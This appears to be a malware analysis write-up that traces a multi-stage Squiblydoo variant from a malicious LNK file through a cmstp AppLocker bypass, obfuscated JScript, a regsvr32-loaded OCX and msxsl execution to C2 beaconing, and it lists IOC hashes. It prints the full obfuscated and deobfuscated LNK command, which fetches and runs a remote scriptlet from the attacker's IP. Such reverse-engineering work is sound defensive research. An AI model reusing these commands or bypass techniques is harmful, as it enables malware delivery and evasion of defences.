Contents

Analysis of a Multi-stage Squiblydoo variant

Analysis of a Multi-stage Squiblydoo variant

The first foothold of the Malware was delivered via IP Address (IOC) 209.141.61.11. When the user navigates to that server, depending on the User-Agent string of the request, you’ll either get a signed, legitimate, non-malicious PDF document (Artifact #1 ZIP, 1d2d5b2befe5fcfea8e9303d87b92adaaf9f161a82e0e1341008518d1585e81a, VT 0/60) or a page with a simple CAPTCHA (Artifact #2 PCAP, dfed73960bd9aa030cc5d84df18eaf2d295dfa7f990614c53673e74b84034ef5, VT N/A) that ultimately leads to a ZIP file (Artifact #3 PCAP, 38dcef9b23f21a98fe9dde3f5b5eb643292bf41556b7e4d5da30484848c4cf3d, VT N/A and Artifact #4 ZIP, db647308649e2d3815f7d53d024ac50e8dead8a3caf33bc203dac90b5dbb1596, VT 15/61).

The ZIP file contains a single .lnk file (Artifact #5 LNK, c32bb3eb1634d6765e41fcb7071d1ca2b70bb50dc3cb7c9da84a00427b3dd642, VT 15/56)

Since lnk files are not easy to manually parse, I used pylnker:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
out:  Lnk File: artifacts/artifact5.lnk
Link Flags: HAS SHELLIDLIST | POINTS TO FILE/DIR | NO DESCRIPTION | NO RELATIVE PATH STRING | NO WORKING DIRECTORY | HAS CMD LINE ARGS | HAS CUSTOM ICON
File Attributes: ARCHIVE
Create Time:   1601-01-01 11:39:04
Access Time:   1601-01-01 11:39:04
Modified Time: 1601-01-01 11:39:04
Target length: 236032
Icon Index: 2
ShowWnd: SW_NORMAL
HotKey: 0
Target is on local volume
Volume Type: Fixed (Hard Disk)
Volume Serial: 00000000
Vol Label: 
Base Path: 
(App Path:) Remaining Path: 
Command Line: /v /c set "UoglocMF5002=items" && call set "UoglocMF94812=%UoglocMF5002:~4,1%" && !UoglocMF94812!et "UoglocMF5127=a" && !UoglocMF94812!et "UoglocMF6603=t" && !UoglocMF94812!et "UoglocMF06364=d" && !UoglocMF94812!et "UoglocMF9305=c" && call !UoglocMF94812!et "UoglocMF21627=%ran!UoglocMF06364!om%.inf" && call !UoglocMF94812!et "UoglocMF6838=%app!UoglocMF06364!ata%\Micro!UoglocMF94812!oft\!UoglocMF21627!" && !UoglocMF94812!et "UoglocMF14637=." && !UoglocMF94812!et "UoglocMF15608="^" && (for %l in ("[ver!UoglocMF94812!ion]" "!UoglocMF94812!ign!UoglocMF5127!ture=$Window!UoglocMF94812! NT$" "[!UoglocMF06364!e!UoglocMF94812!tinationdirs]" "2D0D=01" "[!UoglocMF06364!efaultin!UoglocMF94812!tall_singleu!UoglocMF94812!er]" "UnRegis!UoglocMF6603!erOCXs=F251A5" "!UoglocMF06364!elfiles=2D0D" "[F251A5]" "%11%\%UoglocMF7741%crO%UoglocMF37180%j,NI,%UoglocMF2085%%UoglocMF5568%%UoglocMF5568%p%UoglocMF54670%%UoglocMF92584%%UoglocMF92584%209!UoglocMF14637!%UoglocMF0342%141!UoglocMF14637!%UoglocMF0342%61!UoglocMF14637!%UoglocMF0342%11/update!UoglocMF14637!%UoglocMF0342%txt" "[2D0D]" "!UoglocMF21627!" "[!UoglocMF94812!!UoglocMF6603!rings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "!UoglocMF94812!ervicen!UoglocMF5127!me=' '" "!UoglocMF94812!hortsvcn!UoglocMF5127!me=' '") do @e!UoglocMF9305!ho %~l)>"!UoglocMF6838!"&& !UoglocMF94812!t!UoglocMF5127!rt "" /MIN wmi!UoglocMF9305! proce!UoglocMF94812!s call !UoglocMF9305!rea!UoglocMF6603!e "cm!UoglocMF94812!!UoglocMF6603!p /ns /!UoglocMF94812! /su !UoglocMF6838!"
Icon filename: ieframe.dll

the .lnk file has a cmd command but it looks encoded/obfuscated. Let’s work out a way to extract the command.

Using Batch Interpreter, we can see the command that the attacker is trying to execute:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
(.env) ali@ali-pc > python batch_interpreter.py
Please enter an obfuscated batch command:
/v /c set "UoglocMF5002=items" && call set "UoglocMF94812=%UoglocMF5002:~4,1%" && !UoglocMF94812!et "UoglocMF5127=a" && !UoglocMF94812!et "UoglocMF6603=t" && !UoglocMF94812!et "UoglocMF06364=d" && !UoglocMF94812!et "UoglocMF9305=c" && call !UoglocMF94812!et "UoglocMF21627=%ran!UoglocMF06364!om%.inf" && call !UoglocMF94812!et "UoglocMF6838=%app!UoglocMF06364!ata%\Micro!UoglocMF94812!oft\!UoglocMF21627!" && !UoglocMF94812!et "UoglocMF14637=." && !UoglocMF94812!et "UoglocMF15608="^" && (for %l in ("[ver!UoglocMF94812!ion]" "!UoglocMF94812!ign!UoglocMF5127!ture=$Window!UoglocMF94812! NT$" "[!UoglocMF06364!e!UoglocMF94812!tinationdirs]" "2D0D=01" "[!UoglocMF06364!efaultin!UoglocMF94812!tall_singleu!UoglocMF94812!er]" "UnRegis!UoglocMF6603!erOCXs=F251A5" "!UoglocMF06364!elfiles=2D0D" "[F251A5]" "%11%\%UoglocMF7741%crO%UoglocMF37180%j,NI,%UoglocMF2085%%UoglocMF5568%%UoglocMF5568%p%UoglocMF54670%%UoglocMF92584%%UoglocMF92584%209!UoglocMF14637!%UoglocMF0342%141!UoglocMF14637!%UoglocMF0342%61!UoglocMF14637!%UoglocMF0342%11/update!UoglocMF14637!%UoglocMF0342%txt" "[2D0D]" "!UoglocMF21627!" "[!UoglocMF94812!!UoglocMF6603!rings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "!UoglocMF94812!ervicen!UoglocMF5127!me=' '" "!UoglocMF94812!hortsvcn!UoglocMF5127!me=' '") do @e!UoglocMF9305!ho %~l)>"!UoglocMF6838!"&& !UoglocMF94812!t!UoglocMF5127!rt "" /MIN wmi!UoglocMF9305! proce!UoglocMF94812!s call !UoglocMF9305!rea!UoglocMF6603!e "cm!UoglocMF94812!!UoglocMF6603!p /ns /!UoglocMF94812! /su !UoglocMF6838!"

/v /c set "UoglocMF5002=items"
call set "UoglocMF94812=s"
set "UoglocMF5127=a"
set "UoglocMF6603=t"
set "UoglocMF06364=d"
set "UoglocMF9305=c"
call set "UoglocMF21627=.inf"
call set "UoglocMF6838=\Microsoft\.inf"
set "UoglocMF14637=."
set "UoglocMF15608=""

(for 11UoglocMF7741%cro%UoglocMF37180%j,ni,%UoglocMF2085%%UoglocMF5568%%uoglocmf5568%p%uoglocmf54670%%uoglocmf92584%%uoglocmf92584%209.%uoglocmf0342%141.%uoglocmf0342%61.%uoglocmf0342%11/update.%uoglocmf0342%txt" "[2D0D]" ".inf" "[strings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "servicename=' '" "shortsvcname=' '") do @echo %~l)>"\Microsoft\.inf"

start "" /MIN wmic process call create "cmstp /ns /s /su \Microsoft\.inf"

Looks like the automated string gave us some clues but didn’t do the job very well especially in the “for” loop inside the batch script. After manually replacing some strings/variables, this cmd showed up:

1
/v /c set "UoglocMF14637=." && set "UoglocMF15608="^" && (for %l in ("[version]" "signature=$Windows NT$" "[destinationdirs]" "2D0D=01" "[defaultinstall_singleuser]" "UnRegisterOCXs=F251A5" "delfiles=2D0D" "[F251A5]" "%11%\scrObj,NI,http://209.141.61.11/update.txt" "[2D0D]" "RANDOM.inf" "[strings]" "UoglocMF5568=t" "UoglocMF2085=h" "UoglocMF54670=:" "UoglocMF7741=s" "UoglocMF92584=/" "UoglocMF37180=b" "UoglocMF0342=" "servicename=' '" "shortsvcname=' '") do @echo %~l)>"USER_APP_DATA\Microsoft\RANDOM.inf"&& start "" /MIN wmic process call create "cmstp /ns /s /su USER_APP_DATA\Microsoft\RANDOM.inf"

/img/malware-applocker-bypass/2.jpg
Process Tree of running cmd

very interesting stuff already. We can see that the cmd contains two distinct sections. The first part creates a “RANDOM.inf” file (RANDOM is a random number generated via %random% command) and the second part starts it using WMI and cmstp. Let’s dig deeper in the first part and see how Microsoft.inf gets generated.

/img/malware-applocker-bypass/3.jpg
running cmstp

/img/malware-applocker-bypass/4.jpg
cmstp help

Sidenote: cmstp is often used to bypass Applocker, Reference. MITRE ATT&CK (#T1218.003) links this technique to Cobalt Group and MuddyWater.

/img/malware-applocker-bypass/5.jpg
applocker bypass blog

Beautified version of the created .ini file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

[version]scrObj
2D0D=01
[defaultinstall_singleuser]
UnRegisterOCXs=F251A5
delfiles=2D0D
[F251A5]
%11%\scrObj,NI,http://209.141.61.11/update.txt
[2D0D]
RANDOM.inf
[strings]
UoglocMF5568=t
UoglocMF2085=h
UoglocMF54670=:
UoglocMF7741=s
UoglocMF92584=/
UoglocMF37180=b
UoglocMF0342=
servicename=' '
shortsvcname=' '"

Stage 2, update.txt

Update.txt (Artifact #6 TXT, c7da11e38583d4d8fa0597cc3ac17b24d210b2b59f9c22b1f6f7224a16ea9328, VT 3/59) is only downloadable via the user-agent string that cmstp uses by default, making the analyst’s job a bit difficult.

/img/malware-applocker-bypass/6.jpg
Empty update.txt when browsing via Firefox

Fortunately, update.txt is downloaded via HTTP so the PCAP file containing update.txt (Artifact #7 PCAP, 6b2da53f8bcae0cd99bdae18993bf8d485ac56be33d01af8f18022b9888eebd3, VT N/A) has a lot of information about the request and response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
GET /update.txt HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Via: 1.1 vHNhtcL6WBSNPRD01 0AEC5970 
Host: 209.141.61.11

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 02 Oct 2020 01:33:25 GMT
Content-Type: text/plain
Content-Length: 438034
Connection: keep-alive
Last-Modified: Thu, 27 Aug 2020 15:43:52 GMT
ETag: "5f47d4b8-6af12"
Accept-Ranges: bytes

now, update.txt is in our hands. Let’s see how it looks like

/img/malware-applocker-bypass/7.jpg
update.txt content

update.txt looks like a XML scriptlet containing a heavily obfuscated javascript payload. Also, .txt extension won’t stop the scriptlet from being executed Reference. There have been similar malware before (Reference) Starting point is here:

/img/malware-applocker-bypass/8.jpg
update.txt JS starting point

1000+ lines of JS code, with a very interesting-looking char table:

/img/malware-applocker-bypass/9.jpg
js char table

After scratching my head for hours on this JS, I finally came up with a way to de-obfuscate some of the malware. Using the awesome project malware-jail, I was able to decode a piece of the malware that could be the next key (Artifact #8, ecd80124a34daf7d8a7a73ee412aabc977313888c8d70c2190b306ed28dc72f9, VT N/A). This leads us to Stage 3 of the malware

Stage 3, another JS

/img/malware-applocker-bypass/11.jpg
Stage 3 JS

After adding the variables from “stage2” to “stage3”, I created the file artifact9.js (Artifact #9, 4dbb4755cbe105673725055f090ff830f042e8809c1a708db5c044f93dbcb6b4, VT N/A).nsv

1
2
3
4
5
6
7
set -e
node jailme.js -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js --down=y ../try2/output.txt.js
cp sandbox_dump_after.json ../try2/output.txt.js-dumpafter
cp output/.._try2_output.txt.js ../try2/output.txt.js-output
cp "output/Function[5].js" ../try2/Function14.js
sed -i 's/nvmlxxyx7511.nvmlxxyx539/nvmlxxyx31()/' ../try2/Function14.js
node jailme.js -c ./config.json -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js  -e ../try2/output.txt.js-output -e ../try2/env-dummy.js --down=y ../try2/Function14.js

The output of the script shows a really interesting technique

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
10 Oct 20:22:29 - mailware-jail, a malware sandbox ver. 0.20
10 Oct 20:22:29 - ------------------------
10 Oct 20:22:29 - Arguments: -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js --down=y ../try2/output.txt.js
10 Oct 20:22:29 - Sandbox environment sequence: env/utils.js,env/eval.js,env/function.js,env/wscript.js,env/other.js,env/console.js
10 Oct 20:22:29 - Malware files: ../try2/output.txt.js
10 Oct 20:22:29 - Execution timeout set to: 60 seconds
10 Oct 20:22:29 - Output file for sandbox dump: sandbox_dump_after.json
10 Oct 20:22:29 - Output directory for generated files: output/
10 Oct 20:22:29 - Download from remote server: Yes
10 Oct 20:22:29 - ==> Preparing Sandbox environment.
10 Oct 20:22:29 -  => Executing: env/utils.js quitely
10 Oct 20:22:29 -  => Executing: env/eval.js quitely
10 Oct 20:22:29 -  => Executing: env/function.js quitely
10 Oct 20:22:29 -  => Executing: env/wscript.js quitely
10 Oct 20:22:29 -  => Executing: env/other.js quitely
10 Oct 20:22:29 -  => Executing: env/console.js quitely
10 Oct 20:22:29 - ==> Executing malware file(s). =========================================
10 Oct 20:22:29 -  => Executing: ../try2/output.txt.js verbosely, reporting silent catches
10 Oct 20:22:29 - Saving: output/.._try2_output.txt.js
10 Oct 20:22:29 - Saving: output/tr_.._try2_output.txt.js
10 Oct 20:22:29 - WScript.scriptfullname = (string) '../try2/output.txt.js'
10 Oct 20:22:29 - WScript.arguments = (object) '../try2/output.txt.js,xyz'
10 Oct 20:22:29 - new Function(function nvmlxxyx81(nvmlxxyx177) {return nvmlxxyx177.length;}function nvmlxxyx6715(nvmlxxyx5611){return String.fromCharCode(nvmlxxyx5611);}function nvmlxxyx5562(nvmlxxyx1564) {var nvmlxxyx3607 = [];var nvmlxxyx1688 = [];var nvmlxxyx4682 = "";var nvml ... (truncated)) => Function[5]
10 Oct 20:22:29 - Calling Function[5]() on sandbox
10 Oct 20:22:29 - Returning: 'undefined'
10 Oct 20:22:29 - ==> Cleaning up sandbox.
10 Oct 20:22:29 - ==> Script execution finished, dumping sandbox environment to a file.
10 Oct 20:22:29 - The sandbox context has been  saved to: sandbox_dump_after.json
10 Oct 20:22:29 - Saving: output/Function[5].js
10 Oct 20:22:29 - mailware-jail, a malware sandbox ver. 0.20
10 Oct 20:22:29 - ------------------------
10 Oct 20:22:29 - Arguments: -c ./config.json -e env/utils.js -e env/eval.js -e env/function.js -e env/wscript.js -e env/other.js -e env/console.js -e ../try2/output.txt.js-output -e ../try2/env-dummy.js --down=y ../try2/Function14.js
10 Oct 20:22:29 - Sandbox environment sequence: env/utils.js,env/eval.js,env/function.js,env/wscript.js,env/other.js,env/console.js,../try2/output.txt.js-output,../try2/env-dummy.js
10 Oct 20:22:29 - Malware files: ../try2/Function14.js
10 Oct 20:22:29 - Execution timeout set to: 60 seconds
10 Oct 20:22:29 - Output file for sandbox dump: sandbox_dump_after.json
10 Oct 20:22:29 - Output directory for generated files: output/
10 Oct 20:22:29 - Download from remote server: Yes
10 Oct 20:22:29 - ==> Preparing Sandbox environment.
10 Oct 20:22:29 -  => Executing: env/utils.js quitely
10 Oct 20:22:29 -  => Executing: env/eval.js quitely
10 Oct 20:22:29 -  => Executing: env/function.js quitely
10 Oct 20:22:29 -  => Executing: env/wscript.js quitely
10 Oct 20:22:29 -  => Executing: env/other.js quitely
10 Oct 20:22:29 -  => Executing: env/console.js quitely
10 Oct 20:22:29 -  => Executing: ../try2/output.txt.js-output quitely
10 Oct 20:22:29 -  => Executing: ../try2/env-dummy.js quitely
10 Oct 20:22:29 - ==> Executing malware file(s). =========================================
10 Oct 20:22:29 -  => Executing: ../try2/Function14.js verbosely, reporting silent catches
10 Oct 20:22:29 - Saving: output/.._try2_Function14.js
10 Oct 20:22:29 - Saving: output/tr_.._try2_Function14.js
10 Oct 20:22:29 - WScript.scriptfullname = (string) '../try2/Function14.js'
10 Oct 20:22:29 - WScript.arguments = (object) '../try2/Function14.js,xyz'
10 Oct 20:22:29 - ActiveXObject(WScript.Shell)
10 Oct 20:22:29 - new WScript.Shell[6]
10 Oct 20:22:29 - new WshEnvironment[7](PROCESS)
10 Oct 20:22:29 - WScript.Shell[6].Environment(PROCESS)
10 Oct 20:22:29 - WshEnvironment[7](PROCESS)(APPDATA) => C:\Users\User\AppData\Roaming
10 Oct 20:22:29 - ActiveXObject(ADODB.Stream)
10 Oct 20:22:29 - new ADODB_Stream[8]
10 Oct 20:22:29 - ADODB_Stream[8].Open()
10 Oct 20:22:29 - ADODB_Stream[8].position = (number) '0'
10 Oct 20:22:29 - ADODB_Stream[8].type = (number) '2'
10 Oct 20:22:29 - ADODB_Stream[8].charset = (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].type.get() => (number) '2'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].content = (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].charset.get() => (number) '437'
10 Oct 20:22:29 - ADODB_Stream[8].WriteText(str) - 23040 bytes, encoding: 437
10 Oct 20:22:29 - ADODB_Stream[8].content.get() => (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].size = (number) '23040'
10 Oct 20:22:29 - ADODB_Stream[8].SaveToFile(C:\Users\User\AppData\Roaming\Microsoft\17939.doc, undefined)
10 Oct 20:22:29 - ADODB_Stream[8].content.get() => (object) '??????????????????????>???????????????????????'???????????)???????????????&??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ... (truncated)'
10 Oct 20:22:29 - ADODB_Stream[8].Close()
10 Oct 20:22:29 - GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:29 - new AutomationObject[9](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:29 - ActiveXObject(WScript.Shell)
10 Oct 20:22:29 - new WScript.Shell[10]
10 Oct 20:22:29 - FIXME: WScript.Shell[10].RegRead(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\) - unknown key
10 Oct 20:22:29 - WScript.Shell[10].RegRead(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\) => undefined
10 Oct 20:22:29 - >>> FIXME: AutomationObject[9](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)[Get] not defined
10 Oct 20:22:29 - >>> Silencing catch TypeError: nvmlxxyx3818.Get is not a function
    at nvmlxxyx31 (../try2/Function14.js:1:6806)
    at nvmlxxyx9727 (../try2/Function14.js:1:5108)
    at ../try2/Function14.js:1:8094
    at Script.runInContext (vm.js:142:18)
    at Object.runInContext (vm.js:293:6)
    at run_in_ctx (jailme.js:324:16)
    at Object.<anonymous> (jailme.js:359:20)
    at Module._compile (internal/modules/cjs/loader.js:1063:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1092:10)
    at Module.load (internal/modules/cjs/loader.js:928:32)
10 Oct 20:22:29 - WScript.Shell[6].Run("C:\Users\User\AppData\Roaming\Microsoft\17939.doc", 1, 0)
10 Oct 20:22:30 - ActiveXObject(ADODB.Stream)
10 Oct 20:22:30 - new ADODB_Stream[11]
10 Oct 20:22:30 - ADODB_Stream[11].Open()
10 Oct 20:22:30 - ADODB_Stream[11].position = (number) '0'
10 Oct 20:22:30 - ADODB_Stream[11].type = (number) '2'
10 Oct 20:22:30 - ADODB_Stream[11].charset = (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].type.get() => (number) '2'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].content = (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].charset.get() => (number) '437'
10 Oct 20:22:30 - ADODB_Stream[11].WriteText(str) - 300546 bytes, encoding: 437
10 Oct 20:22:30 - ADODB_Stream[11].content.get() => (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].size = (number) '300546'
10 Oct 20:22:30 - ADODB_Stream[11].SaveToFile(C:\Users\User\AppData\Roaming\Microsoft\4242.ocx, undefined)
10 Oct 20:22:30 - ADODB_Stream[11].content.get() => (object) 'MZ??????????????????????@???????????????????????????????????????????????!??L?!This program cannot be run in DOS mode.???$???????PE??L???R??^???????????!???2???????????????????????????????????????????????????????????????????????????????????????????? ? ... (truncated)'
10 Oct 20:22:30 - ADODB_Stream[11].Close()
10 Oct 20:22:30 - GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:30 - new AutomationObject[12](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
10 Oct 20:22:30 - >>> FIXME: AutomationObject[12](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)[Get] not defined
10 Oct 20:22:30 - >>> Silencing catch TypeError: nvmlxxyx4469.Get is not a function
    at nvmlxxyx31 (../try2/Function14.js:1:7698)
    at nvmlxxyx9727 (../try2/Function14.js:1:5108)
    at ../try2/Function14.js:1:8094
    at Script.runInContext (vm.js:142:18)
    at Object.runInContext (vm.js:293:6)
    at run_in_ctx (jailme.js:324:16)
    at Object.<anonymous> (jailme.js:359:20)
    at Module._compile (internal/modules/cjs/loader.js:1063:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1092:10)
    at Module.load (internal/modules/cjs/loader.js:928:32)
10 Oct 20:22:30 - WScript.Shell[6].Run(regsvr32 /s /n /i "C:\Users\User\AppData\Roaming\Microsoft\4242.ocx", 1, 0)
10 Oct 20:22:30 - ==> Cleaning up sandbox.
10 Oct 20:22:30 - ==> Script execution finished, dumping sandbox environment to a file.
10 Oct 20:22:30 - The sandbox context has been  saved to: sandbox_dump_after.json
10 Oct 20:22:30 - Saving: output/Function[5].js
10 Oct 20:22:30 - Saving: output/C__Users_User_AppData_Roaming_Microsoft_17939.doc
10 Oct 20:22:30 - Saving: output/C__Users_User_AppData_Roaming_Microsoft_4242.ocx

CAR-2019-04-003: Squiblydoo talks about the usage of regsvr32, this malware also uses regsvr32 /s /n /i "C:\Users\User\AppData\Roaming\Microsoft\4242.ocx to avoid defense inside the machine (MITRE ATT&CK T1218.010).

The doc file (Artifact #11, ce638eb65e8e8a54becb218f05ba0aadbaded36fc0152591dc3e62b080c46c85, VT N/A) is a nifty little misdirect too. The Word document is not malicious at all and it’s mostly empty.

The ocx file (Artifact #10, 229b5cc70f69beb555d787c626674946902307546f266ac7c97a17937f1e6510, VT 3/68) marks the Stage 4 of this Malware. Interesting that this file tries to impersonate a popular legitimate SSH client software’s DLL:

1
2
3
4
5
6
7
File Version Information
Copyright	Copyright (C) 2000-2020 by Bitvise Limited.
Product	Bitvise SSH Client
Description	Bitvise SSH Client Title Helper for Remote Desktop
Original Name	MstscTitle32.dll
Internal Name	MstscTitleDll
File Version	8.38.0.0

in the midst of ocx file being implemented and executed, the malware also creates a VPN profile named Yay in the victim’s machine. The VPN does not have a destination connection IP so presumably this profile will come in play in the later stages of execution.

/img/malware-applocker-bypass/13.jpg
Yay VPN

The connection profile file is captured under Artifact #12 (a0c2b522a86e729467d27cf98bd3c9a5264ebc1e1d5113d2bf2040423578d66b, VT N/A).

Stage 5, brand new XML and a C2!

the ocx run will run for 7+ minutes without showing any sign of activity, presumably to ensure any regular sandbox times out. For example, any.run’s free plan is limited to 60 sec, SEARCHER plan is 360 sec and HUNTER is 660 sec, so this is a very simple and effective way to avoid detection by sandbox apps.

/img/malware-applocker-bypass/12.jpg
Runtime

After minutes of being idle, the malware drops the file msxsl.exe into C:\Users\User\AppData\Roaming\Microsoft\msxsl.exe (Artifact #13, 35ba7624f586086f32a01459fcc0ab755b01b49d571618af456aa49e593734c7, VT 0). This binary is a legitimate, signed one offered by Microsoft. According to Microsoft:

The msxsl.exe command line utility enables you to perform command line Extensible Stylesheet Language (XSL) transformations using the Microsoft® XSL processor.

In the meantime, two new .txt files are dropped to C:\Users\User\AppData\Roaming\Microsoft\, and they will be executed by msxls:

  • 2A6A259B2F94150FF85A0B3.txt, Artifact #14, 28141035e19e63f051f4634ba1b00074a272c6e7af73f736de76859d69e49e86, VT N/A
  • 71202A1F233A4A603.txt, Artifact #15, 31e6d6d746c53438670f2f2944320a94cbaf8f7df37a01a21fbd08c6c05ed48c, VT N/A

/img/malware-applocker-bypass/14.jpg
MSXSL running the payload

C2 start Beaconing

The first packet that we see after msxls runs is a PTR query to (IOC) 209.141.59.48

/img/malware-applocker-bypass/15.jpg
beacon PTR

C2 IP address remains 209.141.59.48. The malware creates a TLS 1.2 connection to this IP and sends an encrypted text to the /update endpoint

/img/malware-applocker-bypass/16.jpg
First Beacon

As it’s shown on the screenshot, there is a result string (encoded/encrypted) coming back to the infected box. Immidiately after this response, the malware sends another request to the same endpoint but with significantly more encrypted request data

/img/malware-applocker-bypass/17.jpg
Second Beacon

The C2 responds with 0 and there’s no more connectivity after that for ~30 minutes.

I assume the malware de-activates itself at this point and won’t try the next stages of the attack.

Artifact #16 (d74d33c2f619f110b4d6f7f9f0e024e8168fc0cf3903e6bf0628f88f048c53c0, VT N/A) has all the network communication after the msxsl binary’s execution.

Extra artifacts for further investigation:

  • procmon output in LZ4 archive format (Artifact #17, d9344bda500cd7cd94354387513ba9d83ee03ba558dca1926b09a3e2d734bbf3, VT N/A)
  • fiddler saz output of the SSL-intercepted traffic (Artifact #18, b6dd044686855035e864a67460915ad0e0d7cca5b67dfe22fe2125e65e121871, VT N/A)

Artifact Summary

artifact1.pdf

  • sha256: 1d2d5b2befe5fcfea8e9303d87b92adaaf9f161a82e0e1341008518d1585e81a
  • md5: 1839694e527bbf416ad2751a9f0b5e6d
  • sha1: ee3dbf1a8d7852cacfe8879a566410a3d23a993b
  • ssdeep,1.1–blocksize: hash :hash,filename: 3072:zAN3kzL4gn6Fac0TZTSEY2ZFvyFvqg0jUvnWKh2ijKlt3o3sbe39liU:zAN3WMgnFTk7B7HN23t48DU,"artifact1.pdf"

artifact2.pcap

  • sha256: dfed73960bd9aa030cc5d84df18eaf2d295dfa7f990614c53673e74b84034ef5
  • md5: 1abaff0ab4b393bbc6f0960a59897a48
  • sha1: 1c2a5c684a5fd9954028f86f1a0e67b56727065c
  • ssdeep,1.1–blocksize: hash :hash,filename: 48:SlUmQZLUuUYFPUFHA/COlQkZJfokdUCUped3zJro+crcafbGPvWzOkhOYiQEbWUS:TDiShLfok5UkdFronzSn8cYiQEbJI478,"artifact2.pcap"

artifact3.pcap

  • sha256: 38dcef9b23f21a98fe9dde3f5b5eb643292bf41556b7e4d5da30484848c4cf3d
  • md5: 213f602384b19747505c65aa5e16bd6e
  • sha1: d5060212d2a80c4e5fad7a5e5a01aef17fad1369
  • ssdeep,1.1–blocksize: hash :hash,filename: 192:jfo4fo3DsDGd95d90YfocYfoddod9yDRBhaod9yDRBhxFn9FnF:k9zoK9D90dcdddA9mRyA9mRvbF,"artifact3.pcap"

artifact4.zip

  • sha256: db647308649e2d3815f7d53d024ac50e8dead8a3caf33bc203dac90b5dbb1596
  • md5: c76f546e06ea82c076561ea97ac2270a
  • sha1: 802e33ebeafcce2819007aaae56390c85ec926c7
  • ssdeep,1.1–blocksize: hash :hash,filename: 24:9Mcohvek0+8eu6EC/ZMyPehaCzw796yh4ZGaUsTe90hDmRLcom:9ahX00HPDCwcyh4fXe9U6Rnm,"artifact4.zip"

artifact5.lnk

  • sha256: c32bb3eb1634d6765e41fcb7071d1ca2b70bb50dc3cb7c9da84a00427b3dd642
  • md5: 3594e583c6c248b48aabc6fed4583d91
  • sha1: 855d57fe78a0ad9dd1a8299270fe3495b253a8ca
  • ssdeep,1.1–blocksize: hash :hash,filename: 96:8jIDVNOtu1RBYOiEIvMkPKjm6hixCL5PeoTyNGOn0iQ8jRWlHM3oINQ0iC:8DkvihdAP7NBifILIpi,"artifact5.lnk"

artifact6.txt

  • sha256: c7da11e38583d4d8fa0597cc3ac17b24d210b2b59f9c22b1f6f7224a16ea9328
  • md5: 129d9918031b84c084e043c122854129
  • sha1: d9dbe51e06f22538a3792eafd515523c526f4d64
